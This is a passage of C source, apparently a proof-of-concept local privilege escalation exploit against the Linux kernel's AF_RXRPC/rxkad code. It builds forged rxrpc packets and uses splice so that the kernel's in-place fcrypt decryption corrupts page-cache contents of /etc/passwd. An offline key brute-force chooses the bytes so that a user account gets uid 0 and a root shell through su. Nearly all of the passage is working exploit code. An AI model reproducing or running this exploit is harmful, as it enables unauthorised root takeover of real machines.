key, in, 16, out); + close(s); + if (rc < 0) return -1; + memcpy(csum_iv, out + 8, 8); + return 0; +} + +/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): + * x = (cid_low2 << 30) | (seq & 0x3fffffff) + * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) + * PCBC-encrypt(buf, IV=csum_iv) → enc[8] + * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 + */ +static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, + const uint8_t key[8], const uint8_t csum_iv[8], + uint16_t *cksum_out) +{ + int s = alg_open_pcbc_fcrypt(key); + if (s < 0) return -1; + uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); + x |= seq & 0x3fffffff; + uint32_t in[2] = { htonl(call_id), htonl(x) }; + uint32_t out[2]; + int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); + close(s); + if (rc < 0) return -1; + uint32_t y = ntohl(out[1]); + uint16_t v = (y >> 16) & 0xffff; + if (v == 0) v = 1; + *cksum_out = v; + return 0; +} + +/* =================================================================== */ +/* AF_RXRPC client */ +/* =================================================================== */ + +static int setup_rxrpc_client(uint16_t local_port, const char *keyname) +{ + int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } + if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, + keyname, strlen(keyname)) < 0) { + WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; + } + int min_level = RXRPC_SECURITY_AUTH; + if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, + &min_level, sizeof(min_level)) < 0) { + WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); + close(fd); return -1; + } + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = 0; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(local_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { + WARN("client bind :%u: %s", local_port, strerror(errno)); + close(fd); return -1; + } + LOG("AF_RXRPC client bound :%u", local_port); + return fd; +} + +static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, + uint16_t service_id, + unsigned long user_call_id) +{ + char data[8] = "PINGPING"; + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = service_id; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(srv_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; + struct msghdr msg = {0}; + msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); + struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_RXRPC; + cmsg->cmsg_type = RXRPC_USER_CALL_ID; + cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); + *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; + + /* Don't block forever if no reply ever comes through this single sendmsg. */ + int fl = fcntl(cli_fd, F_GETFL); + fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); + + ssize_t n = sendmsg(cli_fd, &msg, 0); + fcntl(cli_fd, F_SETFL, fl); + if (n < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) { + LOG("client sendmsg returned EAGAIN (expected; kernel will keep " + "retrying handshake)"); + return 0; + } + WARN("client sendmsg: %s", strerror(errno)); + return -1; + } + LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", + n, srv_port); + return 0; +} + +/* =================================================================== */ +/* fake-server (plain UDP) */ +/* =================================================================== */ + +static int setup_udp_server(uint16_t port) +{ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } + struct sockaddr_in sa = {0}; + sa.sin_family = AF_INET; + sa.sin_port = htons(port); + sa.sin_addr.s_addr = htonl(0x7F000001); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + WARN("udp server bind :%u: %s", port, strerror(errno)); + close(s); return -1; + } + LOG("plain UDP fake-server bound :%u", port); + return s; +} + +/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ +static ssize_t udp_recv_to(int s, void *buf, size_t cap, + struct sockaddr_in *from, int timeout_ms) +{ + struct pollfd pfd = { .fd = s, .events = POLLIN }; + int rc = poll(&pfd, 1, timeout_ms); + if (rc <= 0) return -1; + socklen_t fl = from ? sizeof(*from) : 0; + return recvfrom(s, buf, cap, 0, + (struct sockaddr *)from, from ? &fl : NULL); +} + +/* =================================================================== */ +/* main PoC */ +/* =================================================================== */ + +static int trigger_seq = 0; + +static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) +{ + char keyname[32]; + snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); + + long key = add_rxrpc_key(keyname); + if (key < 0) { + if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); + return -1; + } + + /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ + uint16_t port_S = 7777 + (trigger_seq * 2 % 200); + uint16_t port_C = port_S + 1; + uint16_t svc_id = 1234; + + int udp_srv = setup_udp_server(port_S); + if (udp_srv < 0) { + if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); + syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1; + } + + int rxsk_cli = setup_rxrpc_client(port_C, keyname); + if (rxsk_cli < 0) { + if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); + close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { + if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + uint8_t pkt[2048]; + struct sockaddr_in cli_addr; + ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); + if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { + if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; + uint32_t epoch = ntohl(whdr_in->epoch); + uint32_t cid = ntohl(whdr_in->cid); + uint32_t callN = ntohl(whdr_in->callNumber); + uint16_t svc_in = ntohs(whdr_in->serviceId); + uint16_t cli_port = ntohs(cli_addr.sin_port); + + /* Send CHALLENGE */ + { + struct { + struct rxrpc_wire_header hdr; + struct rxkad_challenge ch; + } __attribute__((packed)) c = {0}; + c.hdr.epoch = htonl(epoch); + c.hdr.cid = htonl(cid); + c.hdr.callNumber = 0; c.hdr.seq = 0; + c.hdr.serial = htonl(0x10000); + c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; + c.hdr.securityIndex = 2; + c.hdr.serviceId = htons(svc_in); + c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); + c.ch.min_level = htonl(1); + struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), + .sin_addr.s_addr=htonl(0x7F000001) }; + if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + } + + /* Drain RESPONSE (best-effort) */ + for (int i = 0; i < 4; i++) { + struct sockaddr_in src; + if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; + } + + /* csum + cksum with CURRENT SESSION_KEY */ + uint8_t csum_iv[8] = {0}; + if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + uint16_t cksum_h = 0; + if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + /* Build malicious DATA header */ + struct rxrpc_wire_header mal = {0}; + mal.epoch = htonl(epoch); + mal.cid = htonl(cid); + mal.callNumber = htonl(callN); + mal.seq = htonl(1); + mal.serial = htonl(0x42000); + mal.type = RXRPC_PACKET_TYPE_DATA; + mal.flags = RXRPC_LAST_PACKET; + mal.securityIndex = 2; + mal.cksum = htons(cksum_h); + mal.serviceId = htons(svc_in); + + /* connect udp_srv → client port for splice */ + struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port), + .sin_addr.s_addr=htonl(0x7F000001) }; + if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + /* pipe + vmsplice header + splice file → pipe → udp_srv */ + int p[2]; + if (pipe(p) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + { + struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; + if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; + } + { + loff_t off = splice_off; + if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) + goto trig_fail; + } + if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { + goto trig_fail; + } + close(p[0]); close(p[1]); + + /* recvmsg the malicious DATA into the kernel's verify_packet path */ + int fl = fcntl(rxsk_cli, F_GETFL); + fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); + for (int round = 0; round < 5; round++) { + char rb[2048]; + struct sockaddr_rxrpc srx; + char ccb[256]; + struct msghdr m = {0}; + struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; + m.msg_name = &srx; m.msg_namelen = sizeof(srx); + m.msg_iov = &iv; m.msg_iovlen = 1; + m.msg_control = ccb; m.msg_controllen = sizeof(ccb); + ssize_t r = recvmsg(rxsk_cli, &m, 0); + if (r > 0) break; + if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); + else break; + } + fcntl(rxsk_cli, F_SETFL, fl); + + close(rxsk_cli); + close(udp_srv); + syscall(SYS_keyctl, 3, key); + return 0; + +trig_fail: + close(p[0]); close(p[1]); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); + return -1; +} + +/* =================================================================== + * USER-SPACE pcbc(fcrypt) BRUTE-FORCE + * + * The kernel's rxkad_verify_packet_1() does an in-place 8-byte + * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice + * offset. pcbc with single 8-B block and IV=0 reduces to a plain + * fcrypt_decrypt(C, K). We can therefore search for the right K + * entirely in user-space — without touching the kernel/VM at all — + * before applying ONE deterministic kernel trigger. + * + * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). + * Verified against kernel test vectors: + * K=0, decrypt(0E0900C73EF7ED41) = 00000000 + * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 + * =================================================================== */ + +static const uint8_t fc_sbox0_raw[256] = { + 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, + 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, + 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, + 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, + 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, + 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, + 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, + 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, + 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, + 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, + 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, + 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, + 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, + 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, + 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, + 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, +}; +static const uint8_t fc_sbox1_raw[256] = { + 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, + 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, + 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, + 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, + 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, + 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, + 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, + 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, + 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, + 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, + 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, + 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, + 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, + 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, + 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, + 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, +}; +static const uint8_t fc_sbox2_raw[256] = { + 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, + 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, + 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, + 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, + 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, + 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, + 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, + 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, + 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, + 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, + 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, + 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, + 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, + 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, + 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, + 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, +}; +static const uint8_t fc_sbox3_raw[256] = { + 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, + 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, + 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, + 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, + 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, + 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, + 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, + 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, + 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, + 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, + 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, + 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, + 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, + 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, + 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, + 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, +}; + +static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; + +#include <endian.h> + +static void fcrypt_init_sboxes(void) +{ + for (int i = 0; i < 256; i++) { + fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); + fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | + ((uint32_t)fc_sbox1_raw[i] >> 5)); + fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); + fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); + } +} + +#define fc_ror56_64(k, n) \ + (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) + +typedef struct { uint32_t sched[16]; } fcrypt_uctx; + +static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) +{ + uint64_t k = 0; + k = (uint64_t)(key[0] >> 1); + k <<= 7; k |= (uint64_t)(key[1] >> 1); + k <<= 7; k |= (uint64_t)(key[2] >> 1); + k <<= 7; k |= (uint64_t)(key[3] >> 1); + k <<= 7; k |= (uint64_t)(key[4] >> 1); + k <<= 7; k |= (uint64_t)(key[5] >> 1); + k <<= 7; k |= (uint64_t)(key[6] >> 1); + k <<= 7; k |= (uint64_t)(key[7] >> 1); + + ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xf] = htobe32((uint32_t)k); +} + +#define FC_F(R_, L_, sched_) do { \ + union { uint32_t l; uint8_t c[4]; } u; \ + u.l = (sched_) ^ (R_); \ + L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ + fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ +} while (0) + +static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, + uint8_t out[8], const uint8_t in[8]) +{ + uint32_t L, R; + memcpy(&L, in, 4); + memcpy(&R, in + 4, 4); + FC_F(L, R, ctx->sched[0xf]); + FC_F(R, L, ctx->sched[0xe]); + FC_F(L, R, ctx->sched[0xd]); + FC_F(R, L, ctx->sched[0xc]); + FC_F(L, R, ctx->sched[0xb]); + FC_F(R, L, ctx->sched[0xa]); + FC_F(L, R, ctx->sched[0x9]); + FC_F(R, L, ctx->sched[0x8]); + FC_F(L, R, ctx->sched[0x7]); + FC_F(R, L, ctx->sched[0x6]); + FC_F(L, R, ctx->sched[0x5]); + FC_F(R, L, ctx->sched[0x4]); + FC_F(L, R, ctx->sched[0x3]); + FC_F(R, L, ctx->sched[0x2]); + FC_F(L, R, ctx->sched[0x1]); + FC_F(R, L, ctx->sched[0x0]); + memcpy(out, &L, 4); + memcpy(out + 4, &R, 4); +} + +/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a + * shell field that equals "/bin/bash" (in /etc/shells, valid path). + * The two splices interlock as: + * + * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then + * 4 random gecos-prefix bytes. + * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line + * pos 16, preserves ':' at pos 21 and '/' at pos 22. + * + * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" + * pos 0 8 21 32 + * + * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". + * Now `su -s /bin/bash test` proceeds through the restricted_shell() + * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash + * under uid=0. + * + * === 3-splice predicates === + * + * After applying splices A, B, C in order to /etc/passwd line 1 + * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state + * of chars 4..15 is determined by these P bytes: + * + * char 4 = P_A[0] want: ':' + * char 5 = P_A[1] want: ':' + * char 6 = P_B[0] want: '0' (overwrites P_A[2]) + * char 7 = P_B[1] want: ':' (overwrites P_A[3]) + * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) + * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) + * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' + * char 15 = P_C[7] want: ':' + * + * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they + * are overwritten before /etc/passwd is read by anyone — we only care + * about the final state. */ +static inline int fc_check_pa_nullok(const uint8_t P[8]) +{ + return P[0] == ':' && P[1] == ':'; +} + +static inline int fc_check_pb_nullok(const uint8_t P[8]) +{ + return P[0] == '0' && P[1] == ':'; +} + +static inline int fc_check_pc_nullok(const uint8_t P[8]) +{ + if (P[0] != '0') return 0; + if (P[1] != ':') return 0; + if (P[7] != ':') return 0; + for (int i = 2; i < 7; i++) { + if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; + } + return 1; +} + +static uint64_t fc_splitmix64(uint64_t *s) +{ + uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); + z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; + z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; + return z ^ (z >> 31); +} + +/* Generic brute-force. `predicate` decides if a P is acceptable. */ +typedef int (*pcheck_fn)(const uint8_t P[8]); + +static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, + pcheck_fn check, + uint8_t K_out[8], uint8_t P_out[8], + uint64_t seed_init, + const char *label) +{ + fcrypt_uctx ctx; + uint8_t 